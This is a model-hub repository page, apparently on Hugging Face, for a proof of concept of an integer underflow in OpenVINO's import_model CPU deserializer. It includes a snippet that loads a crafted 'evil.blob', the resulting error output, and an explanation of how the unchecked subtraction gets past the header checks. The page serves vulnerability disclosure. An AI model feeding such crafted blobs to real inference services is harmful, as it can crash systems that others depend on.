Downloads · 30 days
0
wulonchia/openvino-import-model-poc
openvino-import-model-poc is a machine learning model from wulonchia. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
This repository contains a proof-of-concept for a DataHeader integer underflow vulnerability in OpenVINO's importmodel (CPU plugin deserializer).
Downloads · 30 days
0
Access
Public
Updated Jun 26, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
Other1.5 KB · 56%
From the Hugging Face model README
This repository contains a proof-of-concept for a DataHeader integer underflow vulnerability in OpenVINO's import_model (CPU plugin deserializer).
evil.blob: 200-byte crafted compiled model blob. When loaded via ov.Core().import_model(io.BytesIO(blob), 'CPU'), triggers a RuntimeError due to std::string::resize(0xFFFFFFFFFFFFFFD0).import io, openvino as ov
core = ov.Core()
blob = open('evil.blob', 'rb').read()
core.import_model(io.BytesIO(blob), 'CPU')
Expected output (OpenVINO 2025.3.0):
RuntimeError: Exception from src/inference/src/cpp/core.cpp:192:
Exception from src/inference/src/dev/plugin.cpp:73:
basic_string
DataHeader.custom_data_size is computed via unsigned subtraction consts_offset - custom_data_offset with no overflow check. Setting consts_offset=0 causes the value to wrap to ~18.4 EB, bypassing all four consistency checks.